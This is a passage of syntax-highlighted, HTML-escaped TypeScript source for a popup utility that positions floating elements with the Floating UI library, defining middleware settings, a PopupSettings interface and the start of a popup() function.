\u003cspan class=\"na\"\u003eunknown\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/** Flip middleware settings: https://floating-ui.com/docs/flip */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eflip?\u003c/span\u003e: \u003cspan class=\"kt\"\u003eRecord\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003estring\u003c/span\u003e\u003cspan class=\"err\"\u003e,\u003c/span\u003e \u003cspan class=\"na\"\u003eunknown\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Optional ---\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"cm\"\u003e/** Size middleware settings: https://floating-ui.com/docs/size */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003esize?\u003c/span\u003e: \u003cspan class=\"kt\"\u003eRecord\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003estring\u003c/span\u003e\u003cspan class=\"err\"\u003e,\u003c/span\u003e \u003cspan class=\"na\"\u003eunknown\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/** Auto Placement middleware settings: https://floating-ui.com/docs/autoPlacement */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eautoPlacement?\u003c/span\u003e: \u003cspan class=\"kt\"\u003eRecord\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003estring\u003c/span\u003e\u003cspan class=\"err\"\u003e,\u003c/span\u003e \u003cspan class=\"na\"\u003eunknown\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/** Hide middleware settings: https://floating-ui.com/docs/hide */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003ehide?\u003c/span\u003e: \u003cspan class=\"kt\"\u003eRecord\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003estring\u003c/span\u003e\u003cspan class=\"err\"\u003e,\u003c/span\u003e \u003cspan class=\"na\"\u003eunknown\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/** Inline middleware settings: https://floating-ui.com/docs/inline */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003einline?\u003c/span\u003e: \u003cspan class=\"kt\"\u003eRecord\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003estring\u003c/span\u003e\u003cspan class=\"err\"\u003e,\u003c/span\u003e \u003cspan class=\"na\"\u003eunknown\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003eexport\u003c/span\u003e \u003cspan class=\"kr\"\u003einterface\u003c/span\u003e \u003cspan class=\"nx\"\u003ePopupSettings\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/** Provide the event type. */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eevent\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;click\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;hover\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;focus-blur\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;focus-click\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/** Match the popup data value `data-popup=\u0026#34;targetNameHere\u0026#34;` */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003etarget\u003c/span\u003e: \u003cspan class=\"kt\"\u003estring\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/** Set the placement position. Defaults \u0026#39;bottom\u0026#39;. */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eplacement?\u003c/span\u003e: \u003cspan class=\"kt\"\u003ePlacement\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/** Query elements that close the popup when clicked. Defaults `\u0026#39;a[href], button\u0026#39;`. */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003ecloseQuery?\u003c/span\u003e: \u003cspan class=\"kt\"\u003estring\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/** Optional callback function that reports state change. */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003estate\u003c/span\u003e\u003cspan class=\"o\"\u003e?:\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eevent\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e \u003cspan class=\"nx\"\u003estate\u003c/span\u003e: \u003cspan class=\"kt\"\u003eboolean\u003c/span\u003e \u003cspan class=\"p\"\u003e})\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"k\"\u003evoid\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/** Provide Floating UI middleware settings. */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003emiddleware?\u003c/span\u003e: \u003cspan class=\"kt\"\u003eMiddleware\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003eexport\u003c/span\u003e \u003cspan class=\"kd\"\u003efunction\u003c/span\u003e \u003cspan class=\"nx\"\u003epopup\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003etriggerNode\u003c/span\u003e: \u003cspan class=\"kt\"\u003eHTMLElement\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eargs\u003c/span\u003e: \u003cspan class=\"kt\"\u003ePopupSettings\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Local State\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003epopupState\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eopen\u003c/span\u003e: \u003cspan class=\"kt\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// eslint-disable-next-line @typescript-eslint/no-empty-function\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nx\"\u003eautoUpdateCleanup\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"p\"\u003e{},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003efocusableAllowedList\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;:is(a[href], button, input, textarea, select, details, [tabindex]):not([tabindex=\u0026#34;-1\u0026#34;])\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003elet\u003c/span\u003e \u003cspan class=\"nx\"\u003efocusablePopupElements\u003c/span\u003e: \u003cspan class=\"kt\"\u003eHTMLElement\u003c/span\u003e\u003cspan class=\"p\"\u003e[]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Elements\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kd\"\u003elet\u003c/span\u003e \u003cspan class=\"nx\"\u003eelemPopup\u003c/span\u003e: \u003cspan class=\"kt\"\u003eHTMLElement\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003efunction\u003c/span\u003e \u003cspan class=\"nx\"\u003esetDomElements\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"k\"\u003evoid\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eelemPopup\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nb\"\u003edocument\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003equerySelector\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"sb\"\u003e`[data-popup=\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nx\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003etarget\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"sb\"\u003e\u0026#34;]`\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e??\u003c/span\u003e \u003cspan class=\"nb\"\u003edocument\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ecreateElement\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;div\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nb\"\u003eObject\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eassign\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eelemPopup\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003estyle\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eposition\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;absolute\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eopacity\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;0\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003etop\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;0\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eleft\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;0\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003escale\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;0.95\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003edisplay\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;none\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e})\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eelemPopup\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eclassList\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eadd\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;transition-all\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;duration-100\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;ease-in-out\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003esetDomElements\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"c1\"\u003e// init\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Render Floating UI Popup\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kd\"\u003efunction\u003c/span\u003e \u003cspan class=\"nx\"\u003erender\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"k\"\u003evoid\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Error handling for required Floating UI modules\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"nx\"\u003eelemPopup\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"k\"\u003ethrow\u003c/span\u003e \u003cspan class=\"k\"\u003enew\u003c/span\u003e \u003cspan class=\"nb\"\u003eError\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"sb\"\u003e`The data-popup=\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nx\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003etarget\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"sb\"\u003e\u0026#34; element was not found.`\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"nx\"\u003ecomputePosition\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"k\"\u003ethrow\u003c/span\u003e \u003cspan class=\"k\"\u003enew\u003c/span\u003e \u003cspan class=\"nb\"\u003eError\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"sb\"\u003e`Floating UI \u0026#39;computePosition\u0026#39; not found for data-popup=\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nx\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003etarget\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"sb\"\u003e\u0026#34;.`\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"nx\"\u003eoffset\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"k\"\u003ethrow\u003c/span\u003e \u003cspan class=\"k\"\u003enew\u003c/span\u003e \u003cspan class=\"nb\"\u003eError\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"sb\"\u003e`Floating UI \u0026#39;offset\u0026#39; not found for data-popup=\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nx\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003etarget\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"sb\"\u003e\u0026#34;.`\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"nx\"\u003eshift\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"k\"\u003ethrow\u003c/span\u003e \u003cspan class=\"k\"\u003enew\u003c/span\u003e \u003cspan class=\"nb\"\u003eError\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"sb\"\u003e`Floating UI \u0026#39;shift\u0026#39; not found for data-popup=\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nx\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003etarget\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"sb\"\u003e\u0026#34;.`\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"nx\"\u003eflip\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"k\"\u003ethrow\u003c/span\u003e \u003cspan class=\"k\"\u003enew\u003c/span\u003e \u003cspan class=\"nb\"\u003eError\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"sb\"\u003e`Floating UI \u0026#39;flip\u0026#39; not found for data-popup=\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nx\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003etarget\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"sb\"\u003e\u0026#34;.`\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Floating UI Compute Position\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"c1\"\u003e// https://floating-ui.com/docs/computePosition\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nx\"\u003ecomputePosition\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003etriggerNode\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eelemPopup\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eplacement\u003c/span\u003e: \u003cspan class=\"kt\"\u003eargs.placement\u003c/span\u003e \u003cspan class=\"o\"\u003e??\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;bottom\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Middleware - NOTE: the order matters:\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"c1\"\u003e// https://floating-ui.com/docs/middleware#ordering\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nx\"\u003emiddleware\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e[\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// https://floating-ui.com/docs/offset\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nx\"\u003eoffset\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003emiddleware\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eoffset\u003c/span\u003e \u003cspan class=\"o\"\u003e??\u003c/span\u003e \u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan 